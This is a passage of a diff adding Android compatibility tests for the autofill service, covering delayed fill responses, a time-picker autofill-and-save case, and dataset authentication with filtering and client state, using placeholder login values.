+    public void testManualRequestWhileFirstResponseDelayed() throws Exception {
+        // Set service
+        enableService();
+
+        // Trigger auto-fill
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        waitUntilConnected();
+
+        // Trigger second fill request
+        mActivity.forceAutofillOnUsername();
+        mUiBot.waitForIdleSync();
+
+        // Respond for first request
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setPresentation("The Dude", isInlineMode())
+                        .build())
+                .build());
+        sReplier.getNextFillRequest();
+
+        // Set expectations and respond for second request
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude2")
+                        .setPresentation("The Dude 2", isInlineMode())
+                        .build()).build());
+        sReplier.getNextFillRequest();
+
+        // confirm second response shown
+        mUiBot.assertDatasets("The Dude 2");
+    }
+
+    @Presubmit
+    @Test
+    public void testResponseFirstAfterResponseSecond() throws Exception {
+        // Set service
+        enableService();
+
+        // Trigger auto-fill
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        waitUntilConnected();
+
+        // Trigger second fill request
+        mActivity.forceAutofillOnUsername();
+        mUiBot.waitForIdleSync();
+
+        // Respond for first request
+        sReplier.addResponse(new CannedFillResponse.Builder(CannedFillResponse.ResponseType.DELAY)
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setPresentation("The Dude", isInlineMode())
+                        .build())
+                .build());
+        sReplier.getNextFillRequest();
+
+        // Set expectations and respond for second request
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude2")
+                        .setPresentation("The Dude 2", isInlineMode())
+                        .build()).build());
+        sReplier.getNextFillRequest();
+
+        // confirm second response shown
+        mUiBot.assertDatasets("The Dude 2");
+
+        // Wait first response was sent
+        sReplier.getNextFillRequest();
+
+        // confirm second response still shown
+        mUiBot.assertDatasets("The Dude 2");
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/commontests/TimePickerTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/commontests/TimePickerTestCase.java
new file mode 100644
index 0000000..77af4dc
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/commontests/TimePickerTestCase.java
@@ -0,0 +1,93 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.commontests;
+
+import static android.autofillservice.cts.activities.AbstractTimePickerActivity.ID_OUTPUT;
+import static android.autofillservice.cts.activities.AbstractTimePickerActivity.ID_TIME_PICKER;
+import static android.autofillservice.cts.testcore.Helper.assertNumberOfChildren;
+import static android.autofillservice.cts.testcore.Helper.assertTextAndValue;
+import static android.autofillservice.cts.testcore.Helper.assertTextIsSanitized;
+import static android.autofillservice.cts.testcore.Helper.assertTimeValue;
+import static android.autofillservice.cts.testcore.Helper.findNodeByResourceId;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.autofillservice.cts.activities.AbstractTimePickerActivity;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.FillRequest;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.SaveRequest;
+import android.icu.util.Calendar;
+
+import org.junit.Test;
+
+/**
+ * Base class for {@link AbstractTimePickerActivity} tests.
+ */
+public abstract class TimePickerTestCase<A extends AbstractTimePickerActivity>
+        extends AutoFillServiceTestCase.AutoActivityLaunch<A> {
+
+    protected A mActivity;
+
+    @Test
+    public void testAutoFillAndSave() throws Exception {
+        assertWithMessage("subclass did not set mActivity").that(mActivity).isNotNull();
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        final Calendar cal = Calendar.getInstance();
+        cal.set(Calendar.HOUR_OF_DAY, 4);
+        cal.set(Calendar.MINUTE, 20);
+
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                    .setPresentation(createPresentation("Adventure Time"))
+                    .setField(ID_OUTPUT, "Y U NO CHANGE ME?")
+                    .setField(ID_TIME_PICKER, cal.getTimeInMillis())
+                    .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_OUTPUT, ID_TIME_PICKER)
+                .build());
+
+        // Trigger auto-fill.
+        mActivity.onOutput((v) -> v.requestFocus());
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+
+        // Assert properties of TimePicker field.
+        assertTextIsSanitized(fillRequest.structure, ID_TIME_PICKER);
+        assertNumberOfChildren(fillRequest.structure, ID_TIME_PICKER, 0);
+        // Auto-fill it.
+        mActivity.expectAutoFill("4:20", 4, 20);
+        mUiBot.selectDataset("Adventure Time");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+
+        // Trigger save.
+        mActivity.setTime(10, 40);
+        mActivity.tapOk();
+
+        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertWithMessage("onSave() not called").that(saveRequest).isNotNull();
+
+        // Assert sanitization on save: everything should be available!
+        assertTimeValue(findNodeByResourceId(saveRequest.structure, ID_TIME_PICKER), 10, 40);
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_OUTPUT), "10:40");
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dropdown/AuthenticationTest.java b/tests/autofillservice/src/android/autofillservice/cts/dropdown/AuthenticationTest.java
new file mode 100644
index 0000000..d8c10dd
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/dropdown/AuthenticationTest.java
@@ -0,0 +1,1204 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.dropdown;
+
+import static android.app.Activity.RESULT_CANCELED;
+import static android.app.Activity.RESULT_OK;
+import static android.autofillservice.cts.activities.LoginActivity.getWelcomeMessage;
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
+import static android.autofillservice.cts.testcore.Helper.UNUSED_AUTOFILL_VALUE;
+import static android.autofillservice.cts.testcore.Helper.assertTextAndValue;
+import static android.autofillservice.cts.testcore.Helper.findNodeByResourceId;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+import static android.view.View.IMPORTANT_FOR_AUTOFILL_NO;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.assist.AssistStructure.ViewNode;
+import android.autofillservice.cts.activities.AuthenticationActivity;
+import android.autofillservice.cts.commontests.AbstractLoginActivityTestCase;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.SaveRequest;
+import android.autofillservice.cts.testcore.MyAutofillCallback;
+import android.content.IntentSender;
+import android.os.Bundle;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.Presubmit;
+import android.support.test.uiautomator.UiObject2;
+import android.view.View;
+import android.view.autofill.AutofillValue;
+
+import org.junit.Test;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.regex.Pattern;
+
+public class AuthenticationTest extends AbstractLoginActivityTestCase {
+
+    @Presubmit
+    @Test
+    public void testDatasetAuthTwoFields() throws Exception {
+        datasetAuthTwoFields(false);
+    }
+
+    @Test
+    @AppModeFull(reason = "testDatasetAuthTwoFields() is enough")
+    public void testDatasetAuthTwoFieldsUserCancelsFirstAttempt() throws Exception {
+        datasetAuthTwoFields(true);
+    }
+
+    private void datasetAuthTwoFields(boolean cancelFirstAttempt) throws Exception {
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Prepare the authenticated response
+        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+                new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .build());
+
+        // Configure the service behavior
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_PASSWORD, UNUSED_AUTOFILL_VALUE)
+                        .setPresentation(createPresentation("Tap to auth dataset"))
+                        .setAuthentication(authentication)
+                        .build())
+                .build());
+
+        // Set expectation for the activity
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+        final View username = mActivity.getUsername();
+        callback.assertUiShownEvent(username);
+        mUiBot.assertDatasets("Tap to auth dataset");
+
+        // Make sure UI is show on 2nd field as well
+        final View password = mActivity.getPassword();
+        requestFocusOnPassword();
+        callback.assertUiHiddenEvent(username);
+        callback.assertUiShownEvent(password);
+        mUiBot.assertDatasets("Tap to auth dataset");
+
+        // Now tap on 1st field to show it again...
+        requestFocusOnUsername();
+        callback.assertUiHiddenEvent(password);
+        callback.assertUiShownEvent(username);
+        mUiBot.assertDatasets("Tap to auth dataset");
+
+        if (cancelFirstAttempt) {
+            // Trigger the auth dialog, but emulate cancel.
+            AuthenticationActivity.setResultCode(RESULT_CANCELED);
+            mUiBot.selectDataset("Tap to auth dataset");
+            callback.assertUiHiddenEvent(username);
+            callback.assertUiShownEvent(username);
+            mUiBot.assertDatasets("Tap to auth dataset");
+
+            // Make sure it's still shown on other fields...
+            requestFocusOnPassword();
+            callback.assertUiHiddenEvent(username);
+            callback.assertUiShownEvent(password);
+            mUiBot.assertDatasets("Tap to auth dataset");
+
+            // Tap on 1st field to show it again...
+            requestFocusOnUsername();
+            callback.assertUiHiddenEvent(password);
+            callback.assertUiShownEvent(username);
+        }
+
+        // ...and select it this time
+        AuthenticationActivity.setResultCode(RESULT_OK);
+        mUiBot.selectDataset("Tap to auth dataset");
+        callback.assertUiHiddenEvent(username);
+        mUiBot.assertNoDatasets();
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    @AppModeFull(reason = "testDatasetAuthTwoFields() is enough")
+    public void testDatasetAuthTwoFieldsReplaceResponse() throws Exception {
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Prepare the authenticated response
+        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+                new CannedFillResponse.Builder().addDataset(
+                        new CannedDataset.Builder()
+                                .setField(ID_USERNAME, "dude")
+                                .setField(ID_PASSWORD, "sweet")
+                                .setPresentation(createPresentation("Dataset"))
+                                .build())
+                        .build());
+
+        // Set up the authentication response client state
+        final Bundle authentionClientState = new Bundle();
+        authentionClientState.putCharSequence("clientStateKey1", "clientStateValue1");
+
+        // Configure the service behavior
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, (AutofillValue) null)
+                        .setField(ID_PASSWORD, (AutofillValue) null)
+                        .setPresentation(createPresentation("Tap to auth dataset"))
+                        .setAuthentication(authentication)
+                        .build())
+                .setExtras(authentionClientState)
+                .build());
+
+        // Set expectation for the activity
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+        final View username = mActivity.getUsername();
+
+        // Authenticate
+        callback.assertUiShownEvent(username);
+        mUiBot.selectDataset("Tap to auth dataset");
+        callback.assertUiHiddenEvent(username);
+
+        // Select a dataset from the new response
+        callback.assertUiShownEvent(username);
+        mUiBot.selectDataset("Dataset");
+        callback.assertUiHiddenEvent(username);
+        mUiBot.assertNoDatasets();
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+
+        final Bundle data = AuthenticationActivity.getData();
+        assertThat(data).isNotNull();
+        final String extraValue = data.getString("clientStateKey1");
+        assertThat(extraValue).isEqualTo("clientStateValue1");
+    }
+
+    @Test
+    @AppModeFull(reason = "testDatasetAuthTwoFields() is enough")
+    public void testDatasetAuthTwoFieldsNoValues() throws Exception {
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Create the authentication intent
+        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+                new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .build());
+
+        // Configure the service behavior
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, (String) null)
+                        .setField(ID_PASSWORD, (String) null)
+                        .setPresentation(createPresentation("Tap to auth dataset"))
+                        .setAuthentication(authentication)
+                        .build())
+                .build());
+
+        // Set expectation for the activity
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+        final View username = mActivity.getUsername();
+
+        // Authenticate
+        callback.assertUiShownEvent(username);
+        mUiBot.selectDataset("Tap to auth dataset");
+        callback.assertUiHiddenEvent(username);
+        mUiBot.assertNoDatasets();
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    @AppModeFull(reason = "testDatasetAuthTwoFields() is enough")
+    public void testDatasetAuthTwoDatasets() throws Exception {
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Create the authentication intents
+        final CannedDataset unlockedDataset = new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .build();
+        final IntentSender authentication1 = AuthenticationActivity.createSender(mContext, 1,
+                unlockedDataset);
+        final IntentSender authentication2 = AuthenticationActivity.createSender(mContext, 2,
+                unlockedDataset);
+
+        // Configure the service behavior
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_PASSWORD, UNUSED_AUTOFILL_VALUE)
+                        .setPresentation(createPresentation("Tap to auth dataset 1"))
+                        .setAuthentication(authentication1)
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_PASSWORD, UNUSED_AUTOFILL_VALUE)
+                        .setPresentation(createPresentation("Tap to auth dataset 2"))
+                        .setAuthentication(authentication2)
+                        .build())
+                .build());
+
+        // Set expectation for the activity
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+        final View username = mActivity.getUsername();
+
+        // Authenticate
+        callback.assertUiShownEvent(username);
+        mUiBot.assertDatasets("Tap to auth dataset 1", "Tap to auth dataset 2");
+
+        mUiBot.selectDataset("Tap to auth dataset 1");
+        callback.assertUiHiddenEvent(username);
+        mUiBot.assertNoDatasets();
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    @AppModeFull(reason = "testDatasetAuthTwoFields() is enough")
+    public void testDatasetAuthMixedSelectAuth() throws Exception {
+        datasetAuthMixedTest(true);
+    }
+
+    @Test
+    @AppModeFull(reason = "testDatasetAuthTwoFields() is enough")
+    public void testDatasetAuthMixedSelectNonAuth() throws Exception {
+        datasetAuthMixedTest(false);
+    }
+
+    private void datasetAuthMixedTest(boolean selectAuth) throws Exception {
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Prepare the authenticated response
+        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+                new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .build());
+
+        // Configure the service behavior
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("Tap to auth dataset"))
+                        .setAuthentication(authentication)
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "DUDE")
+                        .setField(ID_PASSWORD, "SWEET")
+                        .setPresentation(createPresentation("What, me auth?"))
+                        .build())
+                .build());
+
+        // Set expectation for the activity
+        if (selectAuth) {
+            mActivity.expectAutoFill("dude", "sweet");
+        } else {
+            mActivity.expectAutoFill("DUDE", "SWEET");
+        }
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+        final View username = mActivity.getUsername();
+
+        // Authenticate
+        callback.assertUiShownEvent(username);
+        mUiBot.assertDatasets("Tap to auth dataset", "What, me auth?");
+
+        final String chosenOne = selectAuth ? "Tap to auth dataset" : "What, me auth?";
+        mUiBot.selectDataset(chosenOne);
+        callback.assertUiHiddenEvent(username);
+        mUiBot.assertNoDatasets();
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    @AppModeFull(reason = "testDatasetAuthFilteringUsingRegex() is enough")
+    public void testDatasetAuthNoFiltering() throws Exception {
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Create the authentication intents
+        final CannedDataset unlockedDataset = new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .build();
+        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+                unlockedDataset);
+
+        // Configure the service behavior
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_PASSWORD, UNUSED_AUTOFILL_VALUE)
+                        .setPresentation(createPresentation("Tap to auth dataset"))
+                        .setAuthentication(authentication)
+                        .build())
+                .build());
+
+        // Set expectation for the activity
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+        final View username = mActivity.getUsername();
+
+        // Make sure it's showing initially...
+        callback.assertUiShownEvent(username);
+        mUiBot.assertDatasets("Tap to auth dataset");
+
+        // ..then type something to hide it.
+        mActivity.onUsername((v) -> v.setText("a"));
+        callback.assertUiHiddenEvent(username);
+        mUiBot.assertNoDatasets();
+
+        // Now delete the char and assert it's shown again...
+        mActivity.onUsername((v) -> v.setText(""));
+        callback.assertUiShownEvent(username);
+        mUiBot.assertDatasets("Tap to auth dataset");
+
+        // ...and select it this time
+        mUiBot.selectDataset("Tap to auth dataset");
+        callback.assertUiHiddenEvent(username);
+        mUiBot.assertNoDatasets();
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    @AppModeFull(reason = "testDatasetAuthFilteringUsingRegex() is enough")
+    public void testDatasetAuthFilteringUsingAutofillValue() throws Exception {
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Create the authentication intents
+        final CannedDataset unlockedDataset = new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .build();
+        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+                unlockedDataset);
+
+        // Configure the service behavior
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("DS1"))
+                        .setAuthentication(authentication)
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "DUDE,THE")
+                        .setField(ID_PASSWORD, "SWEET")
+                        .setPresentation(createPresentation("DS2"))
+                        .setAuthentication(authentication)
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "ZzBottom")
+                        .setField(ID_PASSWORD, "top")
+                        .setPresentation(createPresentation("DS3"))
+                        .setAuthentication(authentication)
+                        .build())
+                .build());
+
+        // Set expectation for the activity
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+        final View username = mActivity.getUsername();
+
+        // Make sure it's showing initially...
+        callback.assertUiShownEvent(username);
+        mUiBot.assertDatasets("DS1", "DS2", "DS3");
+
+        // ...then type something to hide them.
+        mActivity.onUsername((v) -> v.setText("a"));
+        callback.assertUiHiddenEvent(username);
+        mUiBot.assertNoDatasets();
+
+        // Now delete the char and assert they're shown again...
+        mActivity.onUsername((v) -> v.setText(""));
+        callback.assertUiShownEvent(username);
+        mUiBot.assertDatasets("DS1", "DS2", "DS3");
+
+        // ...then filter for 2
+        mActivity.onUsername((v) -> v.setText("d"));
+        mUiBot.assertDatasets("DS1", "DS2");
+
+        // ...up to 1
+        mActivity.onUsername((v) -> v.setText("du"));
+        mUiBot.assertDatasets("DS1", "DS2");
+        mActivity.onUsername((v) -> v.setText("dud"));
+        mUiBot.assertDatasets("DS1", "DS2");
+        mActivity.onUsername((v) -> v.setText("dude"));
+        mUiBot.assertDatasets("DS1", "DS2");
+        mActivity.onUsername((v) -> v.setText("dude,"));
+        mUiBot.assertDatasets("DS2");
+
+        // Now delete the char and assert 2 are shown again...
+        mActivity.onUsername((v) -> v.setText("dude"));
+        final UiObject2 picker = mUiBot.assertDatasets("DS1", "DS2");
+
+        // ...and select it this time
+        mUiBot.selectDataset(picker, "DS1");
+        callback.assertUiHiddenEvent(username);
+        mUiBot.assertNoDatasets();
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Presubmit
+    @Test
+    public void testDatasetAuthFilteringUsingRegex() throws Exception {
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Create the authentication intents
+        final CannedDataset unlockedDataset = new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .build();
+        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+                unlockedDataset);
+
+        // Configure the service behavior
+
+        final Pattern min2Chars = Pattern.compile(".{2,}");
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, UNUSED_AUTOFILL_VALUE, min2Chars)
+                        .setField(ID_PASSWORD, UNUSED_AUTOFILL_VALUE)
+                        .setPresentation(createPresentation("Tap to auth dataset"))
+                        .setAuthentication(authentication)
+                        .build())
+                .build());
+
+        // Set expectation for the activity
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+        final View username = mActivity.getUsername();
+
+        // Make sure it's showing initially...
+        callback.assertUiShownEvent(username);
+        mUiBot.assertDatasets("Tap to auth dataset");
+
+        // ...then type something to hide it.
+        mActivity.onUsername((v) -> v.setText("a"));
+        callback.assertUiHiddenEvent(username);
+        mUiBot.assertNoDatasets();
+
+        // ...now type something again to show it, as the input will have 2 chars.
+        mActivity.onUsername((v) -> v.setText("aa"));
+        callback.assertUiShownEvent(username);
+        mUiBot.assertDatasets("Tap to auth dataset");
+
+        // Delete the char and assert it's not shown again...
+        mActivity.onUsername((v) -> v.setText("a"));
+        callback.assertUiHiddenEvent(username);
+        mUiBot.assertNoDatasets();
+
+        // ...then type something again to show it, as the input will have 2 chars.
+        mActivity.onUsername((v) -> v.setText("aa"));
+        callback.assertUiShownEvent(username);
+
+        // ...and select it this time
+        mUiBot.selectDataset("Tap to auth dataset");
+        callback.assertUiHiddenEvent(username);
+        mUiBot.assertNoDatasets();
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    @AppModeFull(reason = "testDatasetAuthFilteringUsingRegex() is enough")
+    public void testDatasetAuthMixedFilteringSelectAuth() throws Exception {
+        datasetAuthMixedFilteringTest(true);
+    }
+
+    @Test
+    @AppModeFull(reason = "testDatasetAuthFilteringUsingRegex() is enough")
+    public void testDatasetAuthMixedFilteringSelectNonAuth() throws Exception {
+        datasetAuthMixedFilteringTest(false);
+    }
+
+    private void datasetAuthMixedFilteringTest(boolean selectAuth) throws Exception {
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Create the authentication intents
+        final CannedDataset unlockedDataset = new CannedDataset.Builder()
+                .setField(ID_USERNAME, "DUDE")
+                .setField(ID_PASSWORD, "SWEET")
+                .build();
+        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+                unlockedDataset);
+
+        // Configure the service behavior
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_PASSWORD, UNUSED_AUTOFILL_VALUE)
+                        .setPresentation(createPresentation("Tap to auth dataset"))
+                        .setAuthentication(authentication)
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("What, me auth?"))
+                        .build())
+                .build());
+
+        // Set expectation for the activity
+        if (selectAuth) {
+            mActivity.expectAutoFill("DUDE", "SWEET");
+        } else {
+            mActivity.expectAutoFill("dude", "sweet");
+        }
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+        final View username = mActivity.getUsername();
+
+        // Make sure it's showing initially...
+        callback.assertUiShownEvent(username);
+        mUiBot.assertDatasets("Tap to auth dataset", "What, me auth?");
+
+        // Filter the auth dataset.
+        mActivity.onUsername((v) -> v.setText("d"));
+        mUiBot.assertDatasets("What, me auth?");
+
+        // Filter all.
+        mActivity.onUsername((v) -> v.setText("dw"));
+        callback.assertUiHiddenEvent(username);
+        mUiBot.assertNoDatasets();
+
+        // Now delete the char and assert the non-auth is shown again.
+        mActivity.onUsername((v) -> v.setText("d"));
+        callback.assertUiShownEvent(username);
+        mUiBot.assertDatasets("What, me auth?");
+
+        // Delete again and assert all dataset are shown.
+        mActivity.onUsername((v) -> v.setText(""));
+        mUiBot.assertDatasets("Tap to auth dataset", "What, me auth?");
+
+        // ...and select it this time
+        final String chosenOne = selectAuth ? "Tap to auth dataset" : "What, me auth?";
+        mUiBot.selectDataset(chosenOne);
+        callback.assertUiHiddenEvent(username);
+        mUiBot.assertNoDatasets();
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Presubmit
+    @Test
+    public void testDatasetAuthClientStateSetOnIntentOnly() throws Exception {
+        fillDatasetAuthWithClientState(ClientStateLocation.INTENT_ONLY);
+    }
+
+    @Test
+    @AppModeFull(reason = "testDatasetAuthClientStateSetOnIntentOnly() is enough")
+    public void testDatasetAuthClientStateSetOnFillResponseOnly() throws Exception {
+        fillDatasetAuthWithClientState(ClientStateLocation.FILL_RESPONSE_ONLY);
+    }
+
+    @Test
+    @AppModeFull(reason = "testDatasetAuthClientStateSetOnIntentOnly() is enough")
+    public void testDatasetAuthClientStateSetOnIntentAndFillResponse() throws Exception {
+        fillDatasetAuthWithClientState(ClientStateLocation.BOTH);
+    }
+
+    private void fillDatasetAuthWithClientState(ClientStateLocation where) throws Exception {
+        // Set service.
+        enableService();
+
+        // Prepare the authenticated response
+        final CannedDataset dataset = new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .build();
+        final IntentSender authentication = where == ClientStateLocation.FILL_RESPONSE_ONLY
+                ? AuthenticationActivity.createSender(mContext, 1,
+                        dataset)
+                : AuthenticationActivity.createSender(mContext, 1,
+                        dataset, Helper.newClientState("CSI", "FromIntent"));
+
+        // Configure the service behavior
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .setExtras(Helper.newClientState("CSI", "FromResponse"))
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_PASSWORD, UNUSED_AUTOFILL_VALUE)
+                        .setPresentation(createPresentation("Tap to auth dataset"))
+                        .setAuthentication(authentication)
+                        .build())
+                .build());
+
+        // Set expectation for the activity
